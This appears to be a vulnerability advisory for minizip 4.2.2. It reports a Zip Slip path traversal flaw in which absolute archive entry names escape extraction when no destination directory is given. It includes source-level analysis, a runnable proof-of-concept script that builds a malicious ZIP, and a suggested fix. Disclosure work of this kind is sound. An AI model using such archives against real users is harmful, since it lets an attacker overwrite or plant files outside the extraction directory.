Repository navigation
Description
Summary
At tested commit bc099de75f837342f83851fc947583b8548c7c73 (version 4.2.2), the minizip extraction CLI and mz_zip_reader_save_all permit an archive entry with an absolute path to escape the intended extraction base when no destination directory is supplied. An attacker who controls an archive can create or truncate files at absolute paths writable by the extracting process. This is a path traversal / Zip Slip vulnerability (CWE-22).
Reproduction used the project's OSS-Fuzz Docker build environment.
Technical Details
The CLI initializes destination to NULL in minizip.c and assigns it only when -d is provided. Extraction passes that value directly to mz_zip_reader_save_all (minizip.c:391-417, 644, 731-768).
In mz_zip_reader_save_all (mz_zip_rw.c:875-955), the output buffer starts empty and the destination is prepended only when destination_dir is non-NULL. For an entry named /absolute/file, mz_path_resolve (mz_os.c:129-211) preserves the leading separator. Because the output buffer remains empty, mz_path_combine (mz_os.c:24-43) copies the resolved name verbatim. No final containment check is performed before mz_zip_reader_entry_save_file is called.
The resulting path reaches mz_stream_os_open with MZ_OPEN_MODE_CREATE (mz_zip_rw.c:795-804), which uses O_WRONLY | O_CREAT | O_TRUNC in mz_strm_os_posix.c:86-95. On POSIX systems, the absolute entry name is therefore opened as an absolute filesystem path rather than a path below the extraction directory.
Impact
A victim only needs to extract an attacker-controlled archive with minizip -x archive.zip, without -d. The operation is limited by the extracting process's filesystem permissions, but can affect writable configuration, startup, authorization, or script files outside the working directory. Existing files require normal overwrite behavior, such as -o or user approval; new files can be created directly.
Proof of Concept
Run the following from the repository checkout:
cmake -S . -B build -DMZ_BUILD_TESTS=ON
cmake --build build --target minizip_cliThe following self-contained payload generator creates a ZIP entry with an absolute name and attacker-controlled contents:
checkout="$(pwd)"
run_dir="$(mktemp -d)"
archive="$run_dir/evil.zip"
target="$(dirname "$run_dir")/poc_escape_target.txt"
cleanup() {
rm -rf "$run_dir"
rm -f "$target"
}
trap cleanup EXIT
rm -f "$target"
python3 - "$archive" "$target" <<'PY'
import sys
import zipfile
archive, absolute_entry = sys.argv[1:]
with zipfile.ZipFile(archive, "w", zipfile.ZIP_STORED) as z:
z.writestr(zipfile.ZipInfo(absolute_entry), "ESCAPED_WRITE_OK\n")
PY
# No -d means destination_dir == NULL.
(
cd "$run_dir" &&
"$checkout/build/minizip" -x "$archive"
)
rc=$?
printf 'exit_code=%s\n' "$rc"
test "$rc" -eq 0
test -f "$target"
grep -Fx 'ESCAPED_WRITE_OK' "$target"
test ! -e "$run_dir/poc_escape_target.txt"The validated run exited with code 0, extracted the absolute entry to its true absolute location, and wrote ESCAPED_WRITE_OK. No file with that name was created under the extraction working directory. The supplied run reproduced this result in one execution.
With a destination directory, the same tested implementation keeps the entry below that directory:
destination="$run_dir/destination"
mkdir "$destination"
rm -f "$target"
(
cd "$run_dir" &&
"$checkout/build/minizip" -d "$destination" -x "$archive"
)
test ! -e "$target"
test -f "$destination$target"Suggested Fix
Treat a NULL destination as an explicit extraction root, such as the current working directory, or reject absolute entry names. Before saving each entry, construct the path under that root and fail closed unless the final normalized path remains within it. A safe implementation should strip leading directory separators before joining an absolute-looking entry or reject it outright, with regression tests covering mz_zip_reader_save_all(reader, NULL) and minizip -x using POSIX and platform-specific absolute paths.
Reported by: Secbuddy, Tencent Keen Security Lab @KeenSecurityLab
Activity
Confine extraction to the destination directory
Confine absolute entry names on extraction
Confine absolute entry names on extraction
Confine absolute entry names on extraction
Confine absolute entry names on extraction